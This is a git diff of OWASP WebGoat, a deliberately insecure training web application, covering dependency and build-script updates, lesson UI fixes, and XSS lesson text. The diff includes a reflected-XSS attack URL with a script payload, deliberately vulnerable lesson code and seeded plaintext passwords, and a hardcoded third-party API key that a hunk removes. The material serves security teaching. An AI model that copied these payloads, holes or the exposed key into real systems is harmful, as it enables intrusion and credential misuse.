:skipRcPost
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
if "%MAVEN_BATCH_PAUSE%" == "on" pause
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
exit /B %ERROR_CODE%

View File

@ -0,0 +1,4 @@
CURTAG=webgoat/webgoat-8.0
DEST_TAG=gcr.io/astech-training/raging-wire-webgoat
CLUSTER_NAME=raging-wire-webgoat
PORT_NUM=8080

View File

@ -0,0 +1,4 @@
CURTAG=webgoat/webgoat-8.0
DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag
CLUSTER_NAME=your-cluster-name
PORT_NUM=8080

143
pom.xml
View File

@ -6,7 +6,7 @@
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
<name>WebGoat Parent Pom</name> <name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description> <description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
@ -21,7 +21,7 @@
<parent> <parent>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.12.RELEASE</version> <version>1.5.18.RELEASE</version>
</parent> </parent>
<licenses> <licenses>
@ -107,9 +107,6 @@
</ciManagement> </ciManagement>
<properties> <properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<!-- Use UTF-8 Encoding --> <!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
@ -129,7 +126,7 @@
<commons-digester.version>2.1</commons-digester.version> <commons-digester.version>2.1</commons-digester.version>
<commons-discovery.version>0.5</commons-discovery.version> <commons-discovery.version>0.5</commons-discovery.version>
<commons-fileupload.version>1.3.1</commons-fileupload.version> <commons-fileupload.version>1.3.1</commons-fileupload.version>
<commons-io.version>2.4</commons-io.version> <commons-io.version>2.6</commons-io.version>
<commons-lang3.version>3.4</commons-lang3.version> <commons-lang3.version>3.4</commons-lang3.version>
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version> <coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
<gatling.version>2.2.5</gatling.version> <gatling.version>2.2.5</gatling.version>
@ -141,30 +138,25 @@
<jackson-core.version>2.6.3</jackson-core.version> <jackson-core.version>2.6.3</jackson-core.version>
<jackson-databind.version>2.6.3</jackson-databind.version> <jackson-databind.version>2.6.3</jackson-databind.version>
<javaee-api.version>6.0</javaee-api.version> <javaee-api.version>6.0</javaee-api.version>
<javax.transaction-api.version>1.2</javax.transaction-api.version> <javax.transaction-api.version>1.3</javax.transaction-api.version>
<jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version> <jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version>
<jtds.version>1.3.1</jtds.version> <jtds.version>1.3.1</jtds.version>
<junit.version>4.12</junit.version> <junit.version>4.12</junit.version>
<lombok.version>1.18.4</lombok.version>
<mail-api.version>1.5.4</mail-api.version> <mail-api.version>1.5.4</mail-api.version>
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version> <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version> <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<maven-gpg-plugin.version>1.6</maven-gpg-plugin.version> <maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>
<maven-jar-plugin.version>2.6</maven-jar-plugin.version> <maven-jar-plugin.version>2.6</maven-jar-plugin.version>
<maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version> <maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version>
<maven-release-plugin.version>2.5.2</maven-release-plugin.version> <maven-release-plugin.version>2.5.2</maven-release-plugin.version>
<maven-source-plugin.version>3.0.1</maven-source-plugin.version> <maven-source-plugin.version>3.0.1</maven-source-plugin.version>
<maven-surefire-plugin.version>2.19</maven-surefire-plugin.version> <maven-surefire-plugin.version>2.22.0</maven-surefire-plugin.version>
<nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version> <nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version>
<scala.version>2.11.7</scala.version> <scala.version>2.11.7</scala.version>
<sauce_junit.version>2.1.20</sauce_junit.version> <sauce_junit.version>2.1.20</sauce_junit.version>
<selenium-java.version>2.48.2</selenium-java.version> <selenium-java.version>2.48.2</selenium-java.version>
<spring.security.version>3.2.4.RELEASE</spring.security.version> <spring.security.version>3.2.4.RELEASE</spring.security.version>
<standard.version>1.1.2</standard.version>
<tiles.version>3.0.5</tiles.version>
<tomcat-catalina.version>7.0.65</tomcat-catalina.version>
<tomcat7-maven-plugin.version>2.3-SNAPSHOT</tomcat7-maven-plugin.version>
<versioneye-maven-plugin.version>3.5.1</versioneye-maven-plugin.version>
<wsdl4j.version>1.6.3</wsdl4j.version>
</properties> </properties>
<modules> <modules>
@ -200,105 +192,12 @@
</pluginRepository> </pluginRepository>
</pluginRepositories> </pluginRepositories>
<profiles>
<profile>
<id>release</id>
<dependencies>
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>dist</artifactId>
<version>1.0</version>
<type>zip</type>
<scope>provided</scope>
<classifier>plugins</classifier>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>unpack-lesson</id>
<goals>
<goal>unpack-dependencies</goal>
</goals>
<phase>generate-resources</phase>
<configuration>
<outputDirectory>
${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons
</outputDirectory>
<includeArtifactIds>dist</includeArtifactIds>
<includes>*.jar</includes>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.sonatype.plugins</groupId>
<artifactId>nexus-staging-maven-plugin</artifactId>
<version>${nexus-staging-maven-plugin.version}</version>
<extensions>true</extensions>
<configuration>
<serverId>ossrh</serverId>
<nexusUrl>https://oss.sonatype.org/</nexusUrl>
<autoReleaseAfterClose>false</autoReleaseAfterClose>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-source-plugin</artifactId>
<version>${maven-source-plugin.version}</version>
<executions>
<execution>
<id>attach-sources</id>
<goals>
<goal>jar-no-fork</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-javadoc-plugin</artifactId>
<version>${maven-javadoc-plugin.version}</version>
<executions>
<execution>
<id>attach-javadocs</id>
<goals>
<goal>jar</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-gpg-plugin</artifactId>
<version>${maven-gpg-plugin.version}</version>
<executions>
<execution>
<id>sign-artifacts</id>
<phase>verify</phase>
<goals>
<goal>sign</goal>
</goals>
<configuration>
<keyname>WebGoat</keyname>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
<dependencies> <dependencies>
<dependency> <dependency>
<groupId>org.projectlombok</groupId> <groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId> <artifactId>lombok</artifactId>
<scope>provided</scope> <scope>provided</scope>
<version>${lombok.version}</version>
<optional>true</optional> <optional>true</optional>
</dependency> </dependency>
<dependency> <dependency>
@ -306,10 +205,25 @@
<artifactId>commons-exec</artifactId> <artifactId>commons-exec</artifactId>
<version>1.3</version> <version>1.3</version>
</dependency> </dependency>
<dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
<version>2.3.0</version>
</dependency>
</dependencies> </dependencies>
<build> <build>
<plugins> <plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>11</source>
<target>11</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-release-plugin</artifactId> <artifactId>maven-release-plugin</artifactId>
@ -342,15 +256,6 @@
<aggregate>true</aggregate> <aggregate>true</aggregate>
</configuration> </configuration>
</plugin> </plugin>
<plugin>
<groupId>com.versioneye</groupId>
<artifactId>versioneye-maven-plugin</artifactId>
<version>${versioneye-maven-plugin.version}</version>
<configuration>
<apiKey>a1e4a9da4ed34ee44cab</apiKey>
<projectId>562da95be346d7000e0369ac</projectId>
</configuration>
</plugin>
</plugins> </plugins>
</build> </build>

14
scripts/build-all.sh Normal file → Executable file
View File

@ -7,21 +7,23 @@ SUCCESS=$?
nc -zv 127.0.0.1 9090 2>/dev/null nc -zv 127.0.0.1 9090 2>/dev/null
SUCCESS=${SUCCESS}$? SUCCESS=${SUCCESS}$?
if [[ "${SUCCESS}" -eq 00 ]] ; then if [[ "${SUCCESS}" -eq 0 ]] ; then
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!" echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
exit 127 exit 127
fi fi
#mvn clean install sh mvnw clean install
#if [[ "$?" -ne 0 ]] ; then if [[ "$?" -ne 0 ]] ; then
# exit y$? exit y$?
#fi fi
cd - cd -
sh build_docker.sh sh build_docker.sh
if [[ "$?" -ne 0 ]] ; then
exit y$?
fi
echo "Do you want to run docker-compose?"
while true; do while true; do
read -p "Do you want to run docker-compose?" yn read -p "Do you want to run docker-compose?" yn
case ${yn} in case ${yn} in

View File

@ -2,9 +2,9 @@
WEBGOAT_HOME=$(pwd)/../ WEBGOAT_HOME=$(pwd)/../
cd ${WEBGOAT_HOME}/webgoat-server cd "${WEBGOAT_HOME}"/webgoat-server
docker build -t webgoat/webgoat-8.0 . docker build -t webgoat/webgoat-v8.0.0.snapshot .
cd ${WEBGOAT_HOME}/webwolf cd "${WEBGOAT_HOME}"/webwolf
docker build -t webgoat/webwolf . docker build -t webgoat/webwolf-v8.0.0.snapshot .

View File

@ -2,4 +2,4 @@
cd .. cd ..
docker-compose rm -f docker-compose rm -f
docker-compose up docker-compose -f docker-compose-local.yml up

View File

@ -6,7 +6,7 @@ export REPO=webgoat/webgoat-8.0
cd webgoat-server cd webgoat-server
ls target/ ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then if [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number # If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO docker push $REPO
@ -27,14 +27,10 @@ cd ..
cd webwolf cd webwolf
ls target/ ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then if [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number # If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
else else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi fi

18
scripts/start.sh Normal file
View File

@ -0,0 +1,18 @@
#!/usr/bin/env bash
DATABASE_PORT=9001
checkDatabaseAvailable(){
#for i in $(seq 1 5); do command && s=0 && break || s=$? && sleep 15; done; (exit $s)
local started = $(netstat -lnt | grep ${DATABASE_PORT})
echo $?
}
#java -Djava.security.egd=file:/dev/./urandom -jar home/webgoat/webgoat.jar --server.address=0.0.0.0
$(checkDatabaseAvailable)
#java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0

View File

@ -10,7 +10,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<profiles> <profiles>
@ -64,16 +64,6 @@
<useDefaultDelimiters>false</useDefaultDelimiters> <useDefaultDelimiters>false</useDefaultDelimiters>
</configuration> </configuration>
</plugin> </plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>ISO-8859-1</encoding>
</configuration>
</plugin>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId> <artifactId>maven-surefire-plugin</artifactId>
@ -191,7 +181,9 @@
<artifactId>junit</artifactId> <artifactId>junit</artifactId>
<version>${junit.version}</version> <version>${junit.version}</version>
<type>jar</type> <type>jar</type>
<scope>test</scope>
</dependency> </dependency>
<!-- ************* END: Dependencies for Unit and Integration Testing ************** --> <!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
<!-- ************* END: <dependencies> ************** --> <!-- ************* END: <dependencies> ************** -->
</dependencies> </dependencies>

View File

@ -37,6 +37,7 @@ import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry; import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro; import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
import org.owasp.webgoat.i18n.Language; import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.TemplateProcessingParameters; import org.thymeleaf.TemplateProcessingParameters;
import org.thymeleaf.resourceresolver.IResourceResolver; import org.thymeleaf.resourceresolver.IResourceResolver;
@ -87,6 +88,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
StringWriter writer = new StringWriter(); StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());

View File

@ -45,6 +45,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String ip = request.getRemoteAddr(); String ip = request.getRemoteAddr();
String hostname = StringUtils.hasText(ip) ? ip : host; String hostname = StringUtils.hasText(ip) ? ip : host;
return "http://" + hostname + ":" + port + "/WebWolf"; return "http://" + hostname + ":" + port + (includeWebWolfContext() ? "/WebWolf" : "");
}
protected boolean includeWebWolfContext() {
return true;
} }
} }

View File

@ -0,0 +1,20 @@
package org.owasp.webgoat.asciidoc;
import java.util.Map;
/**
* Usage in asciidoc:
* <p>
* webWolfLink:here[] will display a href with here as text
* webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
*/
public class WebWolfRootMacro extends WebWolfMacro {
public WebWolfRootMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
protected boolean includeWebWolfContext() {
return false;
}
}

View File

@ -232,7 +232,7 @@ public class CreateDB {
// Create the new table // Create the new table
try { try {
String createTableStatement = "CREATE TABLE user_system_data (" + "userid varchar(5) not null primary key," String createTableStatement = "CREATE TABLE user_system_data (" + "userid int not null primary key,"
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")"; + "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} catch (SQLException e) { } catch (SQLException e) {
@ -240,11 +240,11 @@ public class CreateDB {
} }
// Populate // Populate
String insertData1 = "INSERT INTO user_system_data VALUES ('101','jsnow','passwd1', '')"; String insertData1 = "INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', '')";
String insertData2 = "INSERT INTO user_system_data VALUES ('102','jdoe','passwd2', '')"; String insertData2 = "INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', '')";
String insertData3 = "INSERT INTO user_system_data VALUES ('103','jplane','passwd3', '')"; String insertData3 = "INSERT INTO user_system_data VALUES (103,'jplane','passwd3', '')";
String insertData4 = "INSERT INTO user_system_data VALUES ('104','jeff','jeff', '')"; String insertData4 = "INSERT INTO user_system_data VALUES (104,'jeff','jeff', '')";
String insertData5 = "INSERT INTO user_system_data VALUES ('105','dave','dave', '')"; String insertData5 = "INSERT INTO user_system_data VALUES (105,'dave','passW0rD', '')";
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2); statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3); statement.executeUpdate(insertData3);

View File

@ -17,7 +17,7 @@ public class UserForm {
@NotNull @NotNull
@Size(min=6, max=20) @Size(min=6, max=20)
@Pattern(regexp = "[a-zA-Z0-9]*", message = "can only contain letters and digits") @Pattern(regexp = "[a-zA-Z0-9-]*", message = "can only contain letters, digits, and -")
private String username; private String username;
@NotNull @NotNull
@Size(min=6, max=10) @Size(min=6, max=10)

View File

@ -79,6 +79,7 @@ define(['jquery',
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton); this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
this.lessonContentView.navToPage(pageNum); this.lessonContentView.navToPage(pageNum);
this.lessonHintView.hideHints(); this.lessonHintView.hideHints();
this.lessonHintView.showFirstHint();
//this.lessonHintView.selectHints(); //this.lessonHintView.selectHints();
this.titleView.render(this.lessonInfoModel.get('lessonTitle')); this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
return; return;
@ -160,7 +161,7 @@ define(['jquery',
} }
// //
this.lessonHintView.render(); this.lessonHintView.render();
if (this.lessonHintView.getHintsCount > 0) { if (this.lessonHintView.getHintsCount() > 0) {
this.helpControlsView.showHintsButton(); this.helpControlsView.showHintsButton();
} else { } else {
this.helpControlsView.hideHintsButton(); this.helpControlsView.hideHintsButton();

View File

@ -32,7 +32,11 @@ define(['jquery',
} }
this.set('content',content); this.set('content',content);
this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson')); this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson'));
if (/.*\.lesson\/(\d{1,4})$/.test(document.URL)) {
this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1')); this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1'));
} else {
this.set('pageNum',0);
}
this.trigger('content:loaded',this,loadHelps); this.trigger('content:loaded',this,loadHelps);
}, },

View File

@ -32,21 +32,19 @@ function($,
toggleLabel: function() { toggleLabel: function() {
if (this.isVisible()) { if (this.isVisible()) {
$('show-hints-button').text('Hide hints'); $('#show-hints-button').text('Hide hints');
} else { } else {
$('show-hints-button').text('Show hints'); $('#show-hints-button').text('Show hints');
} }
}, },
render:function() { render:function() {
if (this.isVisible()) { if (this.isVisible()) {
this.$el.hide(350); this.$el.hide(350, this.toggleLabel.bind(this));
} else if (this.hintsToShow.length > 0) { } else if (this.hintsToShow.length > 0) {
this.$el.show(350); this.$el.show(350, this.toggleLabel.bind(this));
} }
this.toggleLabel()
if (this.hintsToShow.length > 0) { if (this.hintsToShow.length > 0) {
this.hideShowPrevNextButtons(); this.hideShowPrevNextButtons();
} }
@ -90,7 +88,7 @@ function($,
hideHints: function() { hideHints: function() {
if (this.$el.is(':visible')) { if (this.$el.is(':visible')) {
this.$el.hide(350); this.$el.hide(350, this.toggleLabel.bind(this));
} }
}, },
@ -106,6 +104,12 @@ function($,
this.displayHint(this.curHint); this.displayHint(this.curHint);
}, },
showFirstHint: function() {
this.curHint = 0;
this.hideShowPrevNextButtons();
this.displayHint(this.curHint);
},
displayHint: function(curHint) { displayHint: function(curHint) {
if(this.hintsToShow.length == 0) { if(this.hintsToShow.length == 0) {
// this.hideHints(); // this.hideHints();

View File

@ -123,8 +123,9 @@
<section class="main-content-wrapper"> <section class="main-content-wrapper">
<section id="main-content"> <!--ng-controller="goatLesson"--> <section id="main-content"> <!--ng-controller="goatLesson"-->
<div id="lesson-page" class="pages"> <div id="lesson-page" class="pages">
<span th:text="${numUsers}"> Users in WebGoat</span> <span th:text="${numUsers}"></span>
<!-- iterate over users below -->su <span> Users in WebGoat</span>
<div sec:authorize="hasAuthority('WEBGOAT_ADMIN')"> <div sec:authorize="hasAuthority('WEBGOAT_ADMIN')">
<h3>WebGoat Users</h3> <h3>WebGoat Users</h3>
<div th:each="user : ${allUsers}"> <div th:each="user : ${allUsers}">

View File

@ -19,17 +19,17 @@ Vagrant.configure(2) do |config|
end end
config.vm.provision "shell", inline: <<-SHELL config.vm.provision "shell", inline: <<-SHELL
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webgoat-server-8.0.0.RELEASE.jar wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webwolf-8.0.0.RELEASE.jar wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webwolf-8.0.0.M21.jar
sudo add-apt-repository ppa:openjdk-r/ppa sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update sudo apt-get update
sudo apt-get install openjdk-8-jre -y sudo apt-get install openjdk-8-jre -y
SHELL SHELL
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
java -jar webgoat-server-8.0.0.RELEASE.jar & java -jar webgoat-server-8.0.0.M21.jar --server.address=0.0.0.0 &
sleep 40s sleep 40s
java -jar webwolf-8.0.0.RELEASE.jar java -jar webwolf-8.0.0.M21.jar --server.address=0.0.0.0 &
SHELL SHELL
end end

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -58,7 +58,7 @@ public class AccountVerificationHelper {
return false; return false;
} }
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("seQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false; return false;
} }

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<build> <build>
<plugins> <plugins>

View File

@ -49,10 +49,7 @@ import org.owasp.encoder.*;
import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.ALL_VALUE;
import java.io.IOException; import java.io.IOException;
import java.util.ArrayList; import java.util.*;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import static org.springframework.web.bind.annotation.RequestMethod.GET; import static org.springframework.web.bind.annotation.RequestMethod.GET;
@ -78,14 +75,13 @@ public class StoredXssComments extends AssignmentEndpoint {
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE) @RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE)
@ResponseBody @ResponseBody
public Collection<Comment> retrieveComments() { public Collection<Comment> retrieveComments() {
Collection<Comment> allComments = Lists.newArrayList(); List<Comment> allComments = Lists.newArrayList();
Collection<Comment> newComments = userComments.get(webSession.getUserName()); Collection<Comment> newComments = userComments.get(webSession.getUserName());
allComments.addAll(comments);
if (newComments != null) { if (newComments != null) {
allComments.addAll(newComments); allComments.addAll(newComments);
} }
Collections.reverse(allComments);
allComments.addAll(comments);
return allComments; return allComments;
} }

View File

@ -5,7 +5,7 @@ xss-reflected-5a-failure=Try again. We do want to see this specific javascript (
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul> xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
xss-reflected-5b-failure=Nope, pretty easy to guess now though. xss-reflected-5b-failure=Nope, pretty easy to guess now though.
xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment. xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
xss-reflected-6a-failure=No, look at the example. Check the GoatRouter.js file. It should be pretty easy to determine. xss-reflected-6a-failure=No, look at the example. Check the <a href="/WebGoat/js/goatApp/view/GoatRouter.js" target="_blank">GoatRouter.js</a> file. It should be pretty easy to determine.
xss.lesson1.failure=Are you sure? Try using a tab from a different site. xss.lesson1.failure=Are you sure? Try using a tab from a different site.
xss-dom-message-success=Correct, I hope you didn't cheat, using the console! xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful. xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.

View File

@ -4,7 +4,7 @@ You should have been able to execute script with the last example. At this point
Why is that? Why is that?
That is because there is no link that would tigger that XSS. That is because there is no link that would trigger that XSS.
You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to): You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to):
link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('myjavascripthere')</script>4128+3214+0002+1999&field2=111 link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('my%20javascript%20here')</script>4128+3214+0002+1999&field2=111

View File

@ -1,15 +1,15 @@
== Ientify Potential for DOM-Based XSS == Identify Potential for DOM-Based XSS
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code. DOM-Based XSS can usually be found by looking for the route configurations in the client-side code.
Look for a route that takes inputs that you can ID being 'reflected' to the page. Look for a route that takes inputs that are being 'reflected' to the page.
For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library). For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library).
Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!). Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ... Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
